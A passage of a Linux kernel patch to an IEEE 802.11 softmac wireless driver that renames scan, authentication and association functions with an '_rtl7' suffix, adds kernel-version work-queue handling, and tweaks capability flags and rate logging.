cancel_delayed_work(&ieee->softmac_scan_wq); } - + // spin_unlock_irqrestore(&ieee->lock, flags); up(&ieee->scan_sem); } -void ieee80211_stop_scan(struct ieee80211_device *ieee) +void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee) { if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_stop_scan(ieee); + ieee80211_softmac_stop_scan_rtl7(ieee); else ieee->stop_scan(ieee->dev); } /* called with ieee->lock held */ -void ieee80211_start_scan(struct ieee80211_device *ieee) +void ieee80211_start_scan_rtl7(struct ieee80211_device *ieee) { - if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ if (ieee->scanning == 0){ ieee->scanning = 1; //ieee80211_softmac_scan(ieee); - queue_work(ieee->wq, &ieee->softmac_scan_wq); + queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, 0); } }else ieee->start_scan(ieee->dev); - + } /* called with wx_sem held */ -void ieee80211_start_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; - + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_scan_syncro(ieee); + ieee80211_softmac_scan_syncro_rtl7(ieee); else ieee->scan_syncro(ieee->dev); - + } -inline struct sk_buff *ieee80211_authentication_req(struct ieee80211_network *beacon, +inline struct sk_buff *ieee80211_authentication_req_rtl7(struct ieee80211_network *beacon, struct ieee80211_device *ieee, int challengelen) { - struct sk_buff *skb; + struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); - + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); + if (!skb) return NULL; - + auth = (struct ieee80211_authentication *) skb_put(skb, sizeof(struct ieee80211_authentication)); - + auth->header.frame_ctl = IEEE80211_STYPE_AUTH; if (challengelen) auth->header.frame_ctl |= IEEE80211_FCTL_WEP; - + auth->header.duration_id = 0x013a; //FIXME - + memcpy(auth->header.addr1, beacon->bssid, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr3, beacon->bssid, ETH_ALEN); - + auth->algorithm = ieee->open_wep ? WLAN_AUTH_OPEN : WLAN_AUTH_SHARED_KEY; - + auth->transaction = cpu_to_le16(ieee->associate_seq); ieee->associate_seq++; - + auth->status = cpu_to_le16(WLAN_STATUS_SUCCESS); - + return skb; - + } -static struct sk_buff* ieee80211_probe_resp(struct ieee80211_device *ieee, u8 *dest) +static struct sk_buff* ieee80211_probe_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { u8 *tag; int beacon_size; @@ -566,23 +572,23 @@ int encrypt; int atim_len,erp_len; struct ieee80211_crypt_data* crypt; - + char *ssid = ieee->current_network.ssid; int ssid_len = ieee->current_network.ssid_len; int rate_len = ieee->current_network.rates_len+2; int rate_ex_len = ieee->current_network.rates_ex_len; if(rate_ex_len > 0) rate_ex_len+=2; - + if(ieee->current_network.capability & WLAN_CAPABILITY_IBSS) atim_len = 4; else atim_len = 0; - - if(ieee80211_is_54g(ieee->current_network)) + + if(ieee80211_is_54g_rtl7(ieee->current_network)) erp_len = 3; else erp_len = 0; - + beacon_size = sizeof(struct ieee80211_probe_response)+ ssid_len +3 //channel @@ -590,72 +596,72 @@ +rate_ex_len +atim_len +erp_len; - + skb = dev_alloc_skb(beacon_size); - - if (!skb) + + if (!skb) return NULL; - + beacon_buf = (struct ieee80211_probe_response*) skb_put(skb, beacon_size); - + memcpy (beacon_buf->header.addr1, dest,ETH_ALEN); memcpy (beacon_buf->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy (beacon_buf->header.addr3, ieee->current_network.bssid, ETH_ALEN); beacon_buf->header.duration_id = 0; //FIXME - beacon_buf->beacon_interval = + beacon_buf->beacon_interval = cpu_to_le16(ieee->current_network.beacon_interval); - beacon_buf->capability = + beacon_buf->capability = cpu_to_le16(ieee->current_network.capability & WLAN_CAPABILITY_IBSS); - + if(ieee->short_slot && (ieee->current_network.capability & WLAN_CAPABILITY_SHORT_SLOT)) - cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); - + cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); + crypt = ieee->crypt[ieee->tx_keyidx]; - encrypt = ieee->host_encrypt && crypt && crypt->ops && + encrypt = ieee->host_encrypt && crypt && crypt->ops && (0 == strcmp(crypt->ops->name, "WEP")); - if (encrypt) + if (encrypt) beacon_buf->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - - + + beacon_buf->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_RESP); - - beacon_buf->info_element.id = MFIE_TYPE_SSID; + + beacon_buf->info_element.id = MFIE_TYPE_SSID; beacon_buf->info_element.len = ssid_len; - + tag = (u8*) beacon_buf->info_element.data; - + memcpy(tag, ssid, ssid_len); - + tag += ssid_len; - + *(tag++) = MFIE_TYPE_RATES; - *(tag++) = rate_len-2; + *(tag++) = rate_len-2; memcpy(tag,ieee->current_network.rates,rate_len-2); tag+=rate_len-2; - + *(tag++) = MFIE_TYPE_DS_SET; *(tag++) = 1; *(tag++) = ieee->current_network.channel; - + if(atim_len){ *(tag++) = MFIE_TYPE_IBSS_SET; *(tag++) = 2; *((u16*)(tag)) = cpu_to_le16(ieee->current_network.atim_window); tag+=2; } - + if(erp_len){ *(tag++) = MFIE_TYPE_ERP; *(tag++) = 1; - *(tag++) = 0; + *(tag++) = 0; } - + if(rate_ex_len){ *(tag++) = MFIE_TYPE_RATES_EX; - *(tag++) = rate_ex_len-2; + *(tag++) = rate_ex_len-2; memcpy(tag,ieee->current_network.rates_ex,rate_ex_len-2); tag+=rate_ex_len-2; } @@ -664,208 +670,211 @@ } -struct sk_buff* ieee80211_assoc_resp(struct ieee80211_device *ieee, u8 *dest) +struct sk_buff* ieee80211_assoc_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { struct sk_buff *skb; u8* tag; - + struct ieee80211_crypt_data* crypt; struct ieee80211_assoc_response_frame *assoc; short encrypt; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); + + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); int len = sizeof(struct ieee80211_assoc_response_frame) + rate_len; - - skb = dev_alloc_skb(len); - - if (!skb) + + skb = dev_alloc_skb(len); + + if (!skb) return NULL; - + assoc = (struct ieee80211_assoc_response_frame *) skb_put(skb,sizeof(struct ieee80211_assoc_response_frame)); - + assoc->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_ASSOC_RESP); memcpy(assoc->header.addr1, dest,ETH_ALEN); memcpy(assoc->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(assoc->header.addr2, ieee->dev->dev_addr, ETH_ALEN); - assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? + assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? WLAN_CAPABILITY_BSS : WLAN_CAPABILITY_IBSS); - - + + if(ieee->short_slot) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + if (ieee->host_encrypt) crypt = ieee->crypt[ieee->tx_keyidx]; else crypt = NULL; - + encrypt = ( crypt && crypt->ops); - + if (encrypt) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + assoc->status = 0; assoc->aid = cpu_to_le16(ieee->assoc_id); if (ieee->assoc_id == 0x2007) ieee->assoc_id=0; else ieee->assoc_id++; - + tag = (u8*) skb_put(skb, rate_len); - - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + return skb; } -struct sk_buff* ieee80211_auth_resp(struct ieee80211_device *ieee,int status, u8 *dest) +struct sk_buff* ieee80211_auth_resp_rtl7(struct ieee80211_device *ieee,int status, u8 *dest) { struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); + + if (!skb) return NULL; - + skb->len = sizeof(struct ieee80211_authentication); - + auth = (struct ieee80211_authentication *)skb->data; - + auth->status = cpu_to_le16(status); auth->transaction = cpu_to_le16(2); auth->algorithm = cpu_to_le16(WLAN_AUTH_OPEN); - + memcpy(auth->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr1, dest, ETH_ALEN); - auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); + auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); return skb; - - + + } -struct sk_buff* ieee80211_null_func(struct ieee80211_device *ieee,short pwr) +struct sk_buff* ieee80211_null_func_rtl7(struct ieee80211_device *ieee,short pwr) { struct sk_buff *skb; struct ieee80211_hdr_3addr* hdr; - - skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); + + if (!skb) return NULL; - + hdr = (struct ieee80211_hdr_3addr*)skb_put(skb,sizeof(struct ieee80211_hdr_3addr)); - + memcpy(hdr->addr1, ieee->current_network.bssid, ETH_ALEN); memcpy(hdr->addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->addr3, ieee->current_network.bssid, ETH_ALEN); - - hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | - IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | - (pwr ? IEEE80211_FCTL_PM:0)); - + + hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | + IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | + (pwr ? IEEE80211_FCTL_PM:0)); + return skb; - - + + } -void ieee80211_resp_to_assoc_rq(struct ieee80211_device *ieee, u8* dest) +void ieee80211_resp_to_assoc_rq_rtl7(struct ieee80211_device *ieee, u8* dest) { - struct sk_buff *buf = ieee80211_assoc_resp(ieee, dest); - + struct sk_buff *buf = ieee80211_assoc_resp_rtl7(ieee, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_auth(struct ieee80211_device *ieee, int s, u8* dest) +void ieee80211_resp_to_auth_rtl7(struct ieee80211_device *ieee, int s, u8* dest) { - struct sk_buff *buf = ieee80211_auth_resp(ieee, s, dest); - + struct sk_buff *buf = ieee80211_auth_resp_rtl7(ieee, s, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_probe(struct ieee80211_device *ieee, u8 *dest) +void ieee80211_resp_to_probe_rtl7(struct ieee80211_device *ieee, u8 *dest) { - - struct sk_buff *buf = ieee80211_probe_resp(ieee, dest); - - if (buf) - softmac_mgmt_xmit(buf, ieee); + + struct sk_buff *buf = ieee80211_probe_resp_rtl7(ieee, dest); + + if (buf) + softmac_mgmt_xmit_rtl7(buf, ieee); } -inline struct sk_buff *ieee80211_association_req(struct ieee80211_network *beacon,struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_association_req_rtl7(struct ieee80211_network *beacon,struct ieee80211_device *ieee) { struct sk_buff *skb; - + struct ieee80211_assoc_request_frame *hdr; u8 *tag; - + unsigned int wpa_len = beacon->wpa_ie_len; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); - - - + + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + + + int len=sizeof(struct ieee80211_assoc_request_frame)+ + beacon->ssid_len//essid tagged val + rate_len//rates tagged val + wpa_len; - + skb = dev_alloc_skb(len); - - if (!skb) + + if (!skb) return NULL; - + hdr = (struct ieee80211_assoc_request_frame *) skb_put(skb, sizeof(struct ieee80211_assoc_request_frame)); - - + + hdr->header.frame_ctl = IEEE80211_STYPE_ASSOC_REQ; hdr->header.duration_id= 37; //FIXME memcpy(hdr->header.addr1, beacon->bssid, ETH_ALEN); memcpy(hdr->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->header.addr3, beacon->bssid, ETH_ALEN); - + hdr->capability = cpu_to_le16(WLAN_CAPABILITY_BSS); - if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) + if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + if(ieee->short_slot) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + + if(beacon->capability & WLAN_CAPABILITY_SHORT_PREAMBLE) + hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_PREAMBLE); + hdr->listen_interval = 0xa; //FIXME - + hdr->info_element.id = MFIE_TYPE_SSID; hdr->info_element.len = beacon->ssid_len; tag = skb_put(skb, beacon->ssid_len); memcpy(tag, beacon->ssid, beacon->ssid_len); - - tag = skb_put(skb, rate_len); - - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + tag = skb_put(skb, rate_len); + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + tag = skb_put(skb,wpa_len); - + memcpy(tag,beacon->wpa_ie,wpa_len); - + return skb; } -void ieee80211_associate_abort(struct ieee80211_device *ieee) +void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - + ieee->associate_seq++; - + /* don't scan, and avoid to have the RX path possibily * try again to associate. Even do not react to AUTH or * ASSOC response. Just wait for the retry wq to be scheduled. @@ -873,166 +882,181 @@ * with, so we retry or just get back to NO_LINK and scanning */ if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING){ - IEEE80211_DEBUG_MGMT("Authentication failed\n"); + IEEE80211_DEBUG_MGMT("Authentication failed\n"); ieee->softmac_stats.no_auth_rs++; }else{ - IEEE80211_DEBUG_MGMT("Association failed\n"); + IEEE80211_DEBUG_MGMT("Association failed\n"); ieee->softmac_stats.no_ass_rs++; } - + ieee->state = IEEE80211_ASSOCIATING_RETRY; - + queue_delayed_work(ieee->wq, &ieee->associate_retry_wq, IEEE80211_SOFTMAC_ASSOC_RETRY_TIME); - + spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_associate_abort_cb(unsigned long dev) +void ieee80211_associate_abort_cb_rtl7(unsigned long dev) { - ieee80211_associate_abort((struct ieee80211_device *) dev); + ieee80211_associate_abort_rtl7((struct ieee80211_device *) dev); } -void ieee80211_associate_step1(struct ieee80211_device *ieee) +void ieee80211_associate_step1_rtl7(struct ieee80211_device *ieee) { struct ieee80211_network *beacon = &ieee->current_network; struct sk_buff *skb; - + IEEE80211_DEBUG_MGMT("Stopping scan\n"); - + ieee->softmac_stats.tx_auth_rq++; - skb=ieee80211_authentication_req(beacon, ieee, 0); - - if (!skb) - ieee80211_associate_abort(ieee); - else{ + skb=ieee80211_authentication_req_rtl7(beacon, ieee, 0); + + if (!skb) + ieee80211_associate_abort_rtl7(ieee); + else{ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATING ; IEEE80211_DEBUG_MGMT("Sending authentication request\n"); - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_auth_challenge(struct ieee80211_device *ieee, u8 *challenge, int chlen) +void ieee80211_auth_challenge_rtl7(struct ieee80211_device *ieee, u8 *challenge, int chlen) { - u8 *c; + u8 *c; struct sk_buff *skb; struct ieee80211_network *beacon = &ieee->current_network; // int hlen = sizeof(struct ieee80211_authentication); - + ieee->associate_seq++; ieee->softmac_stats.tx_auth_rq++; - - skb = ieee80211_authentication_req(beacon, ieee, chlen+2); - if (!skb) - ieee80211_associate_abort(ieee); + + skb = ieee80211_authentication_req_rtl7(beacon, ieee, chlen+2); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ c = skb_put(skb, chlen+2); *(c++) = MFIE_TYPE_CHALLENGE; *(c++) = chlen; memcpy(c, challenge, chlen); - + IEEE80211_DEBUG_MGMT("Sending authentication challenge response\n"); - - ieee80211_encrypt_fragment(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); - - softmac_mgmt_xmit(skb, ieee); + + ieee80211_encrypt_fragment_rtl7(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); + + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } kfree(challenge); } -void ieee80211_associate_step2(struct ieee80211_device *ieee) +void ieee80211_associate_step2_rtl7(struct ieee80211_device *ieee) { struct sk_buff* skb; struct ieee80211_network *beacon = &ieee->current_network; - + del_timer_sync(&ieee->associate_timer); - + IEEE80211_DEBUG_MGMT("Sending association request\n"); - + ieee->softmac_stats.tx_ass_rq++; - skb=ieee80211_association_req(beacon, ieee); - if (!skb) - ieee80211_associate_abort(ieee); + skb=ieee80211_association_req_rtl7(beacon, ieee); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_associate_complete_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_complete_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_complete_wq); +#else +void ieee80211_associate_complete_wq_rtl7(struct ieee80211_device *ieee) { +#endif printk(KERN_INFO "Associated successfully\n"); - if(ieee80211_is_54g(ieee->current_network) && +#if 0 + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ - + ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); }else{ ieee->rate = 110; printk(KERN_INFO"Using B rates\n"); } +#else + printk(KERN_INFO"Using %d MBit\n", (ieee->rate/10) ); +#endif ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); netif_carrier_on(ieee->dev); } -void ieee80211_associate_complete(struct ieee80211_device *ieee) +void ieee80211_associate_complete_rtl7(struct ieee80211_device *ieee) { del_timer_sync(&ieee->associate_timer); - + ieee->seq_ctrl = 0; ieee->state = IEEE80211_LINKED; IEEE80211_DEBUG_MGMT("Successfully associated\n"); - + queue_work(ieee->wq, &ieee->associate_complete_wq); } -void ieee80211_associate_procedure_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_procedure_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_procedure_wq); +#else +void ieee80211_associate_procedure_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_scan(ieee); + + ieee80211_stop_scan_rtl7(ieee); ieee->set_chan(ieee->dev, ieee->current_network.channel); - + ieee->associate_seq = 1; - ieee80211_associate_step1(ieee); - + ieee80211_associate_step1_rtl7(ieee); + up(&ieee->wx_sem); } -inline void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net) +inline void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net) { - + u8 tmp_ssid[IW_ESSID_MAX_SIZE+1]; int tmp_ssid_len = 0; - + short apset,ssidset,ssidbroad,apmatch,ssidmatch; - - /* we are interested in new new only if we are not associated + + /* we are interested in new new only if we are not associated * and we are not associating / authenticating */ if (ieee->state != IEEE80211_NOLINK) - return; - + return; + if ((ieee->iw_mode == IW_MODE_INFRA) && !(net->capability & WLAN_CAPABILITY_BSS)) return; - + if ((ieee->iw_mode == IW_MODE_ADHOC) && !(net->capability & WLAN_CAPABILITY_IBSS)) return; - + if (ieee->iw_mode == IW_MODE_INFRA || ieee->iw_mode == IW_MODE_ADHOC){ /* if the user specified the AP MAC, we need also the essid * This could be obtained by beacons or, if the network does not @@ -1043,23 +1067,23 @@ ssidbroad = !(net->ssid_len == 0 || net->ssid[0]== '\0'); apmatch = (memcmp(ieee->current_network.bssid, net->bssid, ETH_ALEN)==0); ssidmatch = (0==strncmp(ieee->current_network.ssid, net->ssid, net->ssid_len)); - - - + + + if ( /* if the user set the AP check if match. * if the network does not broadcast essid we check the user supplyed ANY essid * if the network does broadcast and the user does not set essid it is OK * if the network does broadcast and the user did set essid chech if essid match */ - ( apset && apmatch && - ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || + ( apset && apmatch && + ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || /* if the ap is not set, check that the user set the bssid * and the network does bradcast and that those two bssid matches - */ - (!apset && ssidset && ssidbroad && ssidmatch) + */ + (!apset && ssidset && ssidbroad && ssidmatch) ){ - - + + /* if the essid is hidden replace it with the * essid provided by the user. */ @@ -1068,18 +1092,19 @@ tmp_ssid_len = ieee->current_network.ssid_len; } memcpy(&ieee->current_network, net, sizeof(struct ieee80211_network)); - + if (!ssidbroad){ strncpy(ieee->current_network.ssid, tmp_ssid, IW_ESSID_MAX_SIZE); ieee->current_network.ssid_len = tmp_ssid_len; } - printk(KERN_INFO"Linking with %s\n",ieee->current_network.ssid); - + printk(KERN_INFO"Linking with \"%s\" rate: %d MBit\n",ieee->current_network.ssid, (ieee->rate/10)); + if (ieee->iw_mode == IW_MODE_INFRA){ ieee->state = IEEE80211_ASSOCIATING; queue_work(ieee->wq, &ieee->associate_procedure_wq); }else{ - if(ieee80211_is_54g(ieee->current_network) && +#if 0 + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); @@ -1087,44 +1112,45 @@ ieee->rate = 110; printk(KERN_INFO"Using B rates\n"); } +#else + printk(KERN_INFO"Using %d MBit\n", (ieee->rate/10) ); +#endif ieee->state = IEEE80211_LINKED; } - + } } - } -void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee) +void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; struct ieee80211_network *target; - + spin_lock_irqsave(&ieee->lock, flags); - list_for_each_entry(target, &ieee->network_list, list) { - + /* if the state become different that NOLINK means * we had found what we are searching for */ - if (ieee->state != IEEE80211_NOLINK) + if (ieee->state != IEEE80211_NOLINK) break; - + //if (ieee->scan_age == 0 || time_after(target->last_scanned + ieee->scan_age, jiffies)) - ieee80211_softmac_new_net(ieee, target); + ieee80211_softmac_new_net_rtl7(ieee, target); } - + spin_unlock_irqrestore(&ieee->lock, flags); - + } -static inline u16 auth_parse(struct sk_buff *skb, u8** challenge, int *chlen) +static inline u16 auth_parse_rtl7(struct sk_buff *skb, u8** challenge, int *chlen) { struct ieee80211_authentication *a; u8 *t; - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n",skb->len); return 0xcafe; } @@ -1132,58 +1158,58 @@ a = (struct ieee80211_authentication*) skb->data; if(skb->len > (sizeof(struct ieee80211_authentication) +3)){ t = skb->data + sizeof(struct ieee80211_authentication); - + if(*(t++) == MFIE_TYPE_CHALLENGE){ *chlen = *(t++); *challenge = (u8*)kmalloc(*chlen, GFP_ATOMIC); memcpy(*challenge, t, *chlen); } } - + return cpu_to_le16(a->status); - + } -int auth_rq_parse(struct sk_buff *skb,u8* dest) +int auth_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_authentication *a; - - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ - IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); + + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); return -1; } a = (struct ieee80211_authentication*) skb->data; - + memcpy(dest,a->header.addr2, ETH_ALEN); - - if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) + + if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) return WLAN_STATUS_NOT_SUPPORTED_AUTH_ALG; - + return WLAN_STATUS_SUCCESS; } -static short probe_rq_parse(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) +static short probe_rq_parse_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) { u8 *tag; u8 *skbend; u8 *ssid=NULL; u8 ssidlen = 0; - + struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - if (skb->len < sizeof (struct ieee80211_hdr_3addr )) + + if (skb->len < sizeof (struct ieee80211_hdr_3addr )) return -1; /* corrupted */ - + memcpy(src,header->addr2, ETH_ALEN); - + skbend = (u8*)skb->data + skb->len; - + tag = skb->data + sizeof (struct ieee80211_hdr_3addr ); - + while (tag+1 < skbend){ - if (*tag == 0){ + if (*tag == 0){ ssid = tag+2; ssidlen = *(tag+1); break; @@ -1192,88 +1218,88 @@ tag = tag + *(tag); /* point to the last data byte of the tag */ tag++; /* point to the next tag */ } - + //IEEE80211DMESG("Card MAC address is "MACSTR, MAC2STR(src)); if (ssidlen == 0) return 1; - + if (!ssid) return 1; /* ssid not found in tagged param */ return (!strncmp(ssid, ieee->current_network.ssid, ssidlen)); - + } -int assoc_rq_parse(struct sk_buff *skb,u8* dest) +int assoc_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_assoc_request_frame *a; - - if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - - sizeof(struct ieee80211_info_element))) { - + + if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - + sizeof(struct ieee80211_info_element))) { + IEEE80211_DEBUG_MGMT("invalid len in auth request:%d \n", skb->len); return -1; } - + a = (struct ieee80211_assoc_request_frame*) skb->data; - + memcpy(dest,a->header.addr2,ETH_ALEN); - + return 0; } -static inline u16 assoc_parse(struct sk_buff *skb, int *aid) +static inline u16 assoc_parse_rtl7(struct sk_buff *skb, int *aid) { struct ieee80211_assoc_response_frame *a; - if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ + if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n", skb->len); return 0xcafe; } - + a = (struct ieee80211_assoc_response_frame*) skb->data; *aid = le16_to_cpu(a->aid) & 0x3fff; return le16_to_cpu(a->status); } static inline void -ieee80211_rx_probe_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_probe_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; - + //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_probe_rq++; //DMESG("Dest is "MACSTR, MAC2STR(dest)); - if (probe_rq_parse(ieee, skb, dest)){ + if (probe_rq_parse_rtl7(ieee, skb, dest)){ //IEEE80211DMESG("Was for me!"); ieee->softmac_stats.tx_probe_rs++; - ieee80211_resp_to_probe(ieee, dest); + ieee80211_resp_to_probe_rtl7(ieee, dest); } } static inline void -ieee80211_rx_auth_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_auth_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; int status; //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_auth_rq++; - - if ((status = auth_rq_parse(skb, dest))!= -1){ - ieee80211_resp_to_auth(ieee, status, dest); + + if ((status = auth_rq_parse_rtl7(skb, dest))!= -1){ + ieee80211_resp_to_auth_rtl7(ieee, status, dest); } //DMESG("Dest is "MACSTR, MAC2STR(dest)); - + } static inline void -ieee80211_rx_assoc_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_assoc_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { - + u8 dest[ETH_ALEN]; //unsigned long flags; - + ieee->softmac_stats.rx_ass_rq++; - if (assoc_rq_parse(skb,dest) != -1){ - ieee80211_resp_to_assoc_rq(ieee, dest); + if (assoc_rq_parse_rtl7(skb,dest) != -1){ + ieee80211_resp_to_assoc_rq_rtl7(ieee, dest); } - + printk(KERN_INFO"New client associated: "MAC_FMT"\n", MAC_ARG(dest)); //FIXME #if 0 @@ -1285,25 +1311,25 @@ -void ieee80211_sta_ps_send_null_frame(struct ieee80211_device *ieee, short pwr) +void ieee80211_sta_ps_send_null_frame_rtl7(struct ieee80211_device *ieee, short pwr) { - - struct sk_buff *buf = ieee80211_null_func(ieee, pwr); - + + struct sk_buff *buf = ieee80211_null_func_rtl7(ieee, pwr); + if (buf) - softmac_ps_mgmt_xmit(buf, ieee); + softmac_ps_mgmt_xmit_rtl7(buf, ieee); -} +} -short ieee80211_sta_ps_sleep(struct 